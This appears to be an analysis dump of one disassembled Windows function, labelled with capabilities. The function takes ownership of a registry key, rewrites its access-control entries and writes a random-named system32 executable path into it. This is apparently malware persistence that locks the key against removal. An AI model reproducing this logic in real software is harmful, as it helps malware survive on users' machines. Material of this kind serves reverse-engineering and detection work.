Function at 0x97a95
Capabilities:
Compare security identifiers
Get session user name
Get user security identifier
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x600
push ebx
lea eax, [ebp - 0x18]
push eax
xor ebx, ebx
push 0xe0100
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x1c], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x97acb
xor eax, eax
jmp 0x97db4
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x180]
mov esi, 0x80
push eax
mov dword [ebp - 0x24], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x97da7
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
mov dword [ebp - 0x20], 0x44
mov dword [ebp - 0x28], esi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x97da7
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x600]
push eax
push 5
push dword [ebp - 0x18]
mov dword [ebp - 0x2c], 0x400
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
test eax, eax
jne 0x97da7
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x600]
push eax
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorOwner]
test eax, eax
je 0x97bb8
push dword [ebp - 0xc]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x97bb8
xor edi, edi
push 0x14
inc edi
push 0x40
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x97bb8
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x97bb1
push ebx
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x97bb1
push esi
push edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x600]
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
test eax, eax
je 0x97da6
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
je 0x97da6
xor ecx, ecx
xor edi, edi
mov dword [ebp - 4], ebx
cmp cx, word [eax + 4]
jae 0x97da6
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
test eax, eax
je 0x97cc6
mov eax, dword [ebp - 0x10]
add eax, 8
xor esi, esi
mov dword [ebp - 0xc], eax
cmp edi, ebx
jle 0x97c4f
push dword [ebp - 0xc]
push dword [ebp + esi*4 - 0x100]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x97c36
inc esi
cmp esi, edi
jl 0x97c1d
cmp esi, edi
jge 0x97c4f
push dword [ebp - 4]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_DeleteAce]
mov dword [ebp - 0x14], 1
jmp 0x97cc9
cmp edi, 0x20
jge 0x97c5f
mov eax, dword [ebp - 0xc]
mov dword [ebp + edi*4 - 0x100], eax
inc edi
push dword [ebp - 0xc]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ecx, dword [ebp - 0x10]
test eax, eax
je 0x97c86
mov eax, dword [ebp + 0x10]
neg eax
sbb eax, eax
and eax, 0x10006
add eax, 0xe0039
jmp 0x97c8b
mov eax, 0x20000
cmp dword [ecx + 4], eax
je 0x97c9d
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], 1
cmp byte [ecx], bl
jne 0x97ca7
test byte [ecx + 1], 0x10
je 0x97cc6
mov byte [ecx], bl
mov eax, dword [ebp - 0xc]
cmp dword [eax + 8], ebx
mov ecx, dword [ebp - 0x10]
sete al
mov dword [ebp - 0x14], 1
lea eax, [eax*8 + 2]
mov byte [ecx + 1], al
inc dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + 4]
cmp dword [ebp - 4], ecx
jb 0x97bf8
cmp dword [ebp - 0x14], ebx
je 0x97da6
cmp byte [str.C:WINDOWS_system32wzjurggnybuffopp.exe], bl
je 0x97d5a
cmp dword [0xa2cc0], ebx
je 0x97d5a
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 8], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x97d5a
mov ecx, str.C:WINDOWS_system32wzjurggnybuffopp.exe
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x97d19
sub eax, esi
inc eax
push eax
push ecx
push 2
push ebx
push 0xc8
push 0xe4
push 0xa
push 0xa06dc
push 0xa22f8
call fcn.00092544
add esp, 0x14
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x97d5a
mov dword [0xa2cc0], ebx
xor edi, edi
push 0x14
inc edi
push 0x40
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x97da6
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x97d9f
push ebx
push dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x97d9f
push esi
push 4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
test eax, eax
jne 0x97d9f
mov dword [ebp - 8], edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret